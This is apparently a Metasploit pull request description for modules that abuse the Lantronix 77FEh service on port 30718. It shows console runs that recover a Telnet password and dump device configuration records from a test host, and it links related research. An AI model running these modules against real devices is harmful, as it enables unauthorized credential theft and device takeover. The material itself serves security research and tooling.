Lantronix abuse of 77feh port

Hello!

These are all modules which are abusing Lantronix 77feh port.

Take a look at the standalone utility:
https://github.com/kost/lantronix-witchcraft
And presentation I've done on Confidence/BalCCon:
http://www.slideshare.net/kost/vk-exploringtreasuresof77-fehlantronixconfidence2014

Example run:
```
msf exploit(psexec_psh) > use auxiliary/admin/lantronix/lantronix_77feh_password
msf auxiliary(lantronix_77feh_password) > show options

Module options (auxiliary/admin/lantronix/lantronix_77feh_password):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CHOST                      no        The local client address
   IPPROTO   udp              yes       What IP protocol to use (tcp/udp)
   PASSWORD                   no        What password to set
   RHOSTS                     yes       The target address range or CIDR identifier
   RPORT     30718            yes       The target port
   THREADS   1                yes       The number of concurrent threads

msf auxiliary(lantronix_77feh_password) > set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1
msf auxiliary(lantronix_77feh_password) > show options

Module options (auxiliary/admin/lantronix/lantronix_77feh_password):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CHOST                      no        The local client address
   IPPROTO   udp              yes       What IP protocol to use (tcp/udp)
   PASSWORD                   no        What password to set
   RHOSTS    192.168.1.1    yes       The target address range or CIDR identifier
   RPORT     30718            yes       The target port
   THREADS   1                yes       The number of concurrent threads

msf auxiliary(lantronix_77feh_password) > run

[+] 192.168.1.1 - Telnet password found: test
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(lantronix_77feh_password) >

msf auxiliary(lantronix_77feh_dump_records) > use auxiliary/admin/lantronix/lantronix_77feh_dump_records
msf auxiliary(lantronix_77feh_dump_records) > set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1
msf auxiliary(lantronix_77feh_dump_records) > show options

Module options (auxiliary/admin/lantronix/lantronix_77feh_dump_records):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CHOST                      no        The local client address
   IPPROTO   udp              yes       What IP protocol to use (tcp/udp)
   RECEND    15               yes       Stop on setup record number
   RECSTART  0                yes       Start from setup record number
   RHOSTS    192.168.1.1    yes       The target address range or CIDR identifier
   RPORT     30718            yes       The target port
   SLEEP     0                yes       Sleep for how many seconds between requests
   THREADS   1                yes       The number of concurrent threads

msf auxiliary(lantronix_77feh_dump_records) > run


[+] 192.168.1.1 - got 00 00 00 d6 00 00 00 00 00 00 00 00 00 00 00 00    |................|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00    |................|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    |................|
00 00 00 00 00 00 00 00 00 03 01 00 00 00 00 00    |................|
03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    |................|
00 00 00 00 00 00 00 00 00 00 00 03 01 00 00 00    |................|
00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00    |................|
00 00 00 00 00 00 00 00 00 00 00 00 00 03 01 00    |................|
00 00                                              |..|


[+] 192.168.1.1 - got 00 00 00 d7 04 06 08 00 00 00 00 80 00 80 00 80    |................|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    |................|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    |................|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    |................|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    |................|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    |................|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    |................|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    |................|
00 00                                              |..|
 ```
I think worths to do ```add_socket(lsock)```, so the framework can take care if something goes wrong. Just in case...